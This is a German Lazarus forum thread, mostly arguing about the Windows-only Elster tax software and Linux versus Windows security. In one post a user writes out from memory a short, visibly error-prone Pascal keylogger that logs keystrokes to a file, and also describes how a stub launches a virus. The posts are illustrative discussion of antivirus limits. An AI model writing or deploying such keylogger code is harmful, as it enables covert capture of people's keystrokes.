Trojaner in Delphi programmiert

Für alles, was in den übrigen Lazarusthemen keinen Platz, aber mit Lazarus zutun hat.
mschnell
Beiträge: 3444
Registriert: Mo 11. Sep 2006, 10:24
OS, Lazarus, FPC: svn (Window32, Linux x64, Linux ARM (QNAP) (cross+nativ)
CPU-Target: X32 / X64 / ARMv5
Wohnort: Krefeld

Re: Trojaner in Delphi programmiert

Beitrag von mschnell »

MacWomble hat geschrieben:Elster läuft ganz gut unter Linux, lediglich die PDF-Ausgabe ist etwas hakelig ...

Vermutlich meist Du mit Wine !?!

-Michael

pluto
Lazarusforum e. V.
Beiträge: 7178
Registriert: So 19. Nov 2006, 12:06
OS, Lazarus, FPC: Linux Mint 19.3
CPU-Target: AMD
Wohnort: Oldenburg(Oldenburg)

Re: Trojaner in Delphi programmiert

Beitrag von pluto »

Dass eine Deutsche Behörde damit den Kauf eines Produktes einer Amerikanischen Firma erzwingt, die schon von der EU mit Strafzahlungen belegt worden ist, finde ich ziemlich skandalös.

Warum? München stellt sich wieder um, nach Windows.....

Es gibt auch noch ein Windows Nachbau, der in einer VM direkt läuft. Der ist sogar OpenSorce.... Weiß im Moment den Namen nicht....
MFG
Michael Springwald

Socke
Lazarusforum e. V.
Beiträge: 3158
Registriert: Di 22. Jul 2008, 19:27
OS, Lazarus, FPC: Lazarus: SVN; FPC: svn; Win 10/Linux/Raspbian/openSUSE
CPU-Target: 32bit x86 armhf
Wohnort: Köln
Kontaktdaten:

Re: Trojaner in Delphi programmiert

Beitrag von Socke »

Du meinst ReactOS
MfG Socke
Ein Gedicht braucht keinen Reim//Ich pack’ hier trotzdem einen rein

pluto
Lazarusforum e. V.
Beiträge: 7178
Registriert: So 19. Nov 2006, 12:06
OS, Lazarus, FPC: Linux Mint 19.3
CPU-Target: AMD
Wohnort: Oldenburg(Oldenburg)

Re: Trojaner in Delphi programmiert

Beitrag von pluto »

Genau....Da liefen sogar alte Windows Spiele von mir, die nicht unter Wine liefen.
MFG
Michael Springwald

MacWomble
Lazarusforum e. V.
Beiträge: 999
Registriert: Do 17. Apr 2008, 01:59
OS, Lazarus, FPC: Mint 21.1 Cinnamon / FPC 3.2.2/Lazarus 2.2.4
CPU-Target: Intel i7-10750 64Bit
Wohnort: Freiburg

Re: Trojaner in Delphi programmiert

Beitrag von MacWomble »

Timm Thaler hat geschrieben:Nimm halt Windows in einer VW unter Linux" - dann kann ich auch gleich Windows nehmen.


Das sehe ich nicht so. Das Steuerprogramm brauchst du einmal im Jahr, dann kann man das auch in der Virtuellen Box mit XP machen und hat ansonsten dennoch die ganzen Vorteile von Linux für die tägliche Arbeit.

Elster verwende ich für die Umsatzsteuer etc. sowie die Übermittlung ans FA unter Linux mit Wine.

Es gibt auch Steuersoftware, welche unter Linux läuft (mit Wine, nicht nativ), z.B. Steuersparerklärung.
Alle sagten, dass es unmöglich sei - bis einer kam und es einfach gemacht hat.

Timm Thaler
Beiträge: 1224
Registriert: So 20. Mär 2016, 22:14
OS, Lazarus, FPC: Win7-64bit Laz1.9.0 FPC3.1.1 für Win, RPi, AVR embedded
CPU-Target: Raspberry Pi 3

Re: Trojaner in Delphi programmiert

Beitrag von Timm Thaler »

Das Steuerprogramm brauche ich jeden Monat für die USt-VA, und dann für die Gewinnermittlung, und für die ESt.

Das Steuerprogramm will jedesmal Updates holen, teilweise werden Gesetzesänderungen noch im laufenden Steuerjahr eingepflegt. Also brauche ich einen Internetzugang. Dazu brauche ich ein aktuelles Windows. Nix mit XP. Die Steuersparerklärung verweigert schon seit 2 oder 3 Jahren die Installation unter XP wegen fehlender Zertifikate.

Warf
Beiträge: 1907
Registriert: Di 23. Sep 2014, 17:46
OS, Lazarus, FPC: Win10 | Linux
CPU-Target: x86_64

Re: Trojaner in Delphi programmiert

Beitrag von Warf »

Um mal wieder zum Ursprungsthema zu kommen, Viren können in jeder Sprache geschrieben werden. Delphi macht es einem allerdings ganz schön einfach:

Code: Alles auswählen

program Keylogger;
{$APPTYPE GUI}
uses Classes, SysUtils, windows;
 
type
  TByte256Array = array[0..255] of Byte;
 
var fs: TFileStream;
  Keys, oldKeys = TByte256Array;
begin
  FillChar(Keys, SizeOf(Keys), #00);
  fs:=TFileStream.Create('./keys.txt', fmcreate);
  try
    while True do
    begin
      OldKeys := Keys;
      GetKeyboardState(Keys);
      for i:=0 to 255 do
        if (oldKeys[I] <> Keys[I]) And Boolean(OldKeys[I] and 128) Then
          fs.Write(chr(i), 1);
    end;
  finally
    fs.Free;
  end;
end.


Und schon hat man einen simplen Keylogger (aus dem Gedächnis geschrieben, Obs wirklich funktioniert sei mal dahingestellt). Effektiv unter 20 Zeilen Code (begins und ends weggelassen).

Das Problem mit Virenschutzsoftware ist nunmal die sucht nach Mustern. Und viele Muster kommen aber auch regelmäßig außerhalb von Viren vor. Z.B. eine Stub (für die die es nicht wissen das ist ein Programm welches sich für ein anderes Program ausgibt) wird oft verwendet um Viren zu starten. Man nimmt ein typisches ungefährliches Programm (z.B. ein Spielclienten) ersetzt die Haupt executeable allerdings durch ein Stub, welche zu erst einen Virus ausführt, und Danach das eigentliche Programm. Wenn es gut gemacht wurde merkt der Nutzer nicht das neben dem eigentlichen Programm ein weiteres Ausgeführt wurde. (ich hab mir dem letzt einen Virus gefangen der war sehr schlecht, da hab ich direkt gesehen das sich ein Fenster geöffnet und direkt wieder geschlossen hat, das war sehr einfach zu entdecken).

Leider verwenden viele Patcher oder Packer das selbe System. Wenn man z.B. UPX verwendet ist das genau das selbe. UPX gibt sich als das Programm aus, entpackt dann das original Programm und führt das aus. Jetzt versuch aber mal nem Virenschutz beizubringen dabei unterscheiden zu können ob das ein gutgemeintes entdecken oder ein Virus ist.

Ähnlich sieht es bei vielen weiteren Funktionen aus. Wie soll ein Virenschutzprogramm wissen ob es sich um einen Keylogger handelt, oder das Programm tatsächlich nur die Tastatureingaben im Hintergrund aufnimmt um z.B. einen Random wert zu berechnen (z.B. VeraCrypt verwendet das als Random Input).

Als resultat wird echter gefährlicher Code oft nicht entdeckt (da Viren Entwickler einige tricks kennen um Virenschutzprogramme zu umgehen), aber für den gemeinen Entwickler, sobald dieser etwas tiefer gräbt (systemlevel Anwendungen z.B.), geht einem das Virenschutzsystem ständig auf den Sack.

Für mich ist daher die Konsequenz kein Virenschutz zu verwenden. Alle paar Monate windows neu aufsetzen ist nichts im vergleich dazu was ich an Zeit spare die ganzen False Positives von Avira und Co zu bearbeiten.

Marc
Lazarusforum e. V.
Beiträge: 208
Registriert: Fr 11. Nov 2016, 14:09
OS, Lazarus, FPC: Linux Mint 20 (WinXP VBox)
CPU-Target: 64Bit
Wohnort: Schweiz

Re: Trojaner in Delphi programmiert

Beitrag von Marc »

Das das Programm Elster heisst ist ja schon ein Schenkelklopfer.
Das ist doch der Vogel der alles klaut was glänzt. :lol:
Also Humor scheinen sie auf dem Amt ja zu haben.

Wäre das mal besser in Object Pascal geschrieben, dann würde es überall laufen.
Oder noch besser überhaupt nicht geschrieben.
Wie ich verstanden habe braucht mann das nur um ein paar Daten zu übermitteln?
Und für so was nötigt man Firmen einen Windows Rechner zu betreiben.
Good code comes from experience, experience comes from bad code.

pluto
Lazarusforum e. V.
Beiträge: 7178
Registriert: So 19. Nov 2006, 12:06
OS, Lazarus, FPC: Linux Mint 19.3
CPU-Target: AMD
Wohnort: Oldenburg(Oldenburg)

Re: Trojaner in Delphi programmiert

Beitrag von pluto »

Und für so was nötigt man Firmen einen Windows Rechner zu betreiben.

Unbedingt. Wie wir ja alle wissen, gilt ja Windows 10 als "EXTREM" sicher. Sogar sicherer als Linux...

Ich finde, es gibt nur eine Sache, die dagegen Spricht: Was wird am meisten Verwendet?
Und warum sollte jemand ein Virus oder so schreiben für etwas was nicht so oft Verwendet wird?

Ich denke das alleine dürfte schon ein Grund sein, wenn Möglich KEIN Windows zu verwenden.
Aber gut für uns: Delphi läuft nur unter Windows....
Schön das beim Virus schreiben nicht Lazarus Verwendet wurde....
Dann wäre er auch noch "Unter" Linux lauffähig.... :D
MFG
Michael Springwald

Timm Thaler
Beiträge: 1224
Registriert: So 20. Mär 2016, 22:14
OS, Lazarus, FPC: Win7-64bit Laz1.9.0 FPC3.1.1 für Win, RPi, AVR embedded
CPU-Target: Raspberry Pi 3

Re: Trojaner in Delphi programmiert

Beitrag von Timm Thaler »

Marc hat geschrieben:Wie ich verstanden habe braucht mann das nur um ein paar Daten zu übermitteln?
Und für so was nötigt man Firmen einen Windows Rechner zu betreiben.


Nein, dafür nicht. Die Daten kannst Du auch bei Elster Online in der Webbrowser-Maske eingeben.

Das Problem ist, die Daten erstmal zu erzeugen. Da sind Heerscharen an Steuerberatern mit schwarzen Koffern unterwegs, um die Steuergesetzgebung möglichst kompliziert zu gestalten. Von wegen Steuererklärung auf dem Bierdeckel.

Zum Beispiel hab ich sehr selten Geschäftsessen. Dann aber doch mal eins. Und dann sagt mir mein Steuerprogramm: Ok, für die Umsatzsteuer kannst Du das Geschäftsessen voll anrechnen. Aber für die Gewinnermittlung darfst Du das nur zu 70% anrechnen, 30% sind Eigenanteil. Oder bei Dienstreisen: Da gelten für jedes Land andere Tagessätze für die Verpflegung. Apropos Verpflegung: Ist das Frühstück im Hotel inbegriffen, musst Du das aus der Rechnung rausnehmen. Aber Vorsicht, Hotel 7% USt, Frühstück 16% USt weil Bewirtung. Und überhaupt, bekommst Du beim Auftraggeber eine Bockwurst zum Mittagessen spendiert, vergiß nicht das aus der Verpflegungspauschale rauszurechnen.

Und dann sagen Leute: Das kannst Du doch unter Linux mit LibreOffice in einer Tabelle machen. Die haben ja keine Ahnung...

Timm Thaler
Beiträge: 1224
Registriert: So 20. Mär 2016, 22:14
OS, Lazarus, FPC: Win7-64bit Laz1.9.0 FPC3.1.1 für Win, RPi, AVR embedded
CPU-Target: Raspberry Pi 3

Re: Trojaner in Delphi programmiert

Beitrag von Timm Thaler »

pluto hat geschrieben:Dann wäre er auch noch "Unter" Linux lauffähig.... :D


Naja, wenn ich sehe, wie...
... grottig die Verzeichnisstruktur unter Linux ist: Schmeiss halt alles was irgendwie ausführbar ist in /bin oder /usr/bin.
... wegen dieser grottigen Verzeichnisstruktur irgendwie versucht wird das zu umgehen: Gut, es gibt /opt, aber das nimmt kaum jemand. Schmeiss es beim User ins home, dann hast Du keine Probleme mit Rechten.
... sich die Rechte einfach aushebeln lassen: Fragte da nicht letztens jemand, wie er ein Programm mit TProcess starten kann. Und dann ein sudo davor und das Programm läuft mit Adminrechten.
... man zum Verschlüsseln der Userdaten - inzwischen das beliebteste Hobby der Virenprogrammierer - nichtmal Adminrechte braucht, weil ja alles im User-Home passiert.
dann würde ich mal nicht so laut schreien. Der bisherige Schutz basiert hauptsächlich auf: Zu uninteressant für Virenschreiber.

Unter Windows hat inzwischen so ziemlich jedes Programm kapiert, dass es in C:/Programme gehört. Nur Lazarus kommt damit nicht klar, weil der FPC partout keine Leerzeichen im Pfad verträgt. Also muss man für Lazarus extra ein Verzeichnis anlegen, welches sich nicht an die Windows-Richtlinien hält.

AndreasMR
Beiträge: 98
Registriert: Di 4. Aug 2015, 15:29
OS, Lazarus, FPC: Linux, Raspbian, Windows
CPU-Target: 64/32 Bit

Re: Trojaner in Delphi programmiert

Beitrag von AndreasMR »

Hallo Michael,

mschnell hat geschrieben:
Marc hat geschrieben:Ich kenne schon Gründe für ein Windows. Habe auch (alte) Programme die nur unter Windows laufen.

Die zwingend vorgeschriebene "Elster" Programm des Finanzamts läuft soweit ich weiß (ohne Tricks) nur auf Windows.

Dass eine Deutsche Behörde damit den Kauf eines Produktes einer Amerikanischen Firma erzwingt, die schon von der EU mit Strafzahlungen belegt worden ist, finde ich ziemlich skandalös.

-Michael

Ich hatte seinerzeit die Teilnahme an Elster verweigert. Das Finanzamt bat mich um eine Begründung. Ich habe Sicherheitsbedenken "informierter Kreise" zitiert. Das Finanzamt schickte mir dann einen Packen an UST-Voranmeldungsformularen. Und meinte, wenn die verbraucht sind und es keine mehr zum Download geben würde, dann solle ich einfach mit Kopien arbeiten, das angegebene Jahr durchstreichen und das gültige Jahr inkl. Monat handschriftlich andeuten.

Jo mei, teilte man dort meine Sicherheitsbedenken etwa?

Ich habe von denen schon lange nicht mehr vernommen.


Beste Grüße

Andreas
Ubuntu 14.04 LTS / Raspbian / Windows: Lazarus ab 0.9 bis 3.0

Benutzeravatar
m.fuchs
Lazarusforum e. V.
Beiträge: 2635
Registriert: Fr 22. Sep 2006, 19:32
OS, Lazarus, FPC: Winux (Lazarus 2.0.10, FPC 3.2.0)
CPU-Target: x86, x64, arm
Wohnort: Berlin
Kontaktdaten:

Re: Trojaner in Delphi programmiert

Beitrag von m.fuchs »

Timm Thaler hat geschrieben:... grottig die Verzeichnisstruktur unter Linux ist: Schmeiss halt alles was irgendwie ausführbar ist in /bin oder /usr/bin.
... wegen dieser grottigen Verzeichnisstruktur irgendwie versucht wird das zu umgehen: Gut, es gibt /opt, aber das nimmt kaum jemand. Schmeiss es beim User ins home, dann hast Du keine Probleme mit Rechten.
... sich die Rechte einfach aushebeln lassen: Fragte da nicht letztens jemand, wie er ein Programm mit TProcess starten kann. Und dann ein sudo davor und das Programm läuft mit Adminrechten.
... man zum Verschlüsseln der Userdaten - inzwischen das beliebteste Hobby der Virenprogrammierer - nichtmal Adminrechte braucht, weil ja alles im User-Home passiert.

Ähm, ich glaube du hast die Konzepte hinter Linux nicht verstanden.
Software, Bibliotheken, Vorträge und mehr: https://www.ypa-software.de

pluto
Lazarusforum e. V.
Beiträge: 7178
Registriert: So 19. Nov 2006, 12:06
OS, Lazarus, FPC: Linux Mint 19.3
CPU-Target: AMD
Wohnort: Oldenburg(Oldenburg)

Re: Trojaner in Delphi programmiert

Beitrag von pluto »

... grottig die Verzeichnisstruktur unter Linux ist: Schmeiss halt alles was irgendwie ausführbar ist in /bin oder /usr/bin.
... wegen dieser grottigen Verzeichnisstruktur irgendwie versucht wird das zu umgehen: Gut, es gibt /opt, aber das nimmt kaum jemand. Schmeiss es beim User ins home, dann hast Du keine Probleme mit Rechten.
... sich die Rechte einfach aushebeln lassen: Fragte da nicht letztens jemand, wie er ein Programm mit TProcess starten kann. Und dann ein sudo davor und das Programm läuft mit Adminrechten.
... man zum Verschlüsseln der Userdaten - inzwischen das beliebteste Hobby der Virenprogrammierer - nichtmal Adminrechte braucht, weil ja alles im User-Home passiert.

Glaub mir, man kann ein Linux so abhärten, dass kein Virus darauf mehr Startet. Das hat mein Bruder bei einem VServer gemacht der im Internet steht.
Es liegt an dir, wie du dein Linux Einstellst.

Ich habe es aber jedoch einfach und verwende sudo, wer es nicht möchte, kann es anderes lösen. Fertig.
MFG
Michael Springwald

Warf
Beiträge: 1907
Registriert: Di 23. Sep 2014, 17:46
OS, Lazarus, FPC: Win10 | Linux
CPU-Target: x86_64

Re: Trojaner in Delphi programmiert

Beitrag von Warf »

pluto hat geschrieben:
Und für so was nötigt man Firmen einen Windows Rechner zu betreiben.

Unbedingt. Wie wir ja alle wissen, gilt ja Windows 10 als "EXTREM" sicher. Sogar sicherer als Linux...

Ich finde, es gibt nur eine Sache, die dagegen Spricht: Was wird am meisten Verwendet?
Und warum sollte jemand ein Virus oder so schreiben für etwas was nicht so oft Verwendet wird?

Ich denke das alleine dürfte schon ein Grund sein, wenn Möglich KEIN Windows zu verwenden.
Aber gut für uns: Delphi läuft nur unter Windows....
Schön das beim Virus schreiben nicht Lazarus Verwendet wurde....
Dann wäre er auch noch "Unter" Linux lauffähig.... :D


Das komplexe an einem Virus ist meistens sehr systemabhängig, die lcl z.B. hat zwar viele WinAPI Funktionen Plattformunabhängig, allerdings fehlen einige Funktionen die man normalerweise nicht so häufig braucht fehlen. Mein Keylogger von oben würde so z.B. nicht unter Linux funktionieren.

Aber eigentlich ist es gar nicht so schwer Viren zu vermeiden. Die meisten Vieren fängt man sich eigentlich nur noch durch das runterladen und ausführen von Programmen. Entweder durch E-Mail Anhänge oder als Bildschirmschoner (naja gut XP Zeiten sind vorbei) oder durch dubiose Downloadwebsiten (Software cracks bieten sich dafür an).

Diese angriffe sind auf unerfahrene Nutzer ausgelegt. Apple hat dieses Problem zum Teil dadurch in den griff bekommen das Entwickler ein Zertifikat bei Apple registrieren können (gegen Gebühr), und du standardmäßig nur diese Anwendungen ausführen kannst. So beschissen ich die Gebühr auch finde, es sichert das Entwickler die sich ein Zertifikat holen keine Vieren verteilen (da ihre Namen praktisch in dem Zertifikat stehen würden).

Als erfahrene Nutzer kann man die meisten Viren umgehen. Nur von vertrauenswürde Quellen runterladen, keine E-Mail anhänge oder dubiosen Links anklicken, und falls es nötig sein sollte solche dubiose software dennoch ausführen zu wollen kann man immer noch so etwas wie Docker oder VM's verwenden. BSD hat da ja die Jails, Unix Systeme haben chroot. So etwas fehlt in Windows leider noch (und natürlich ein vernünftiges Berechtigungssystem).

Antworten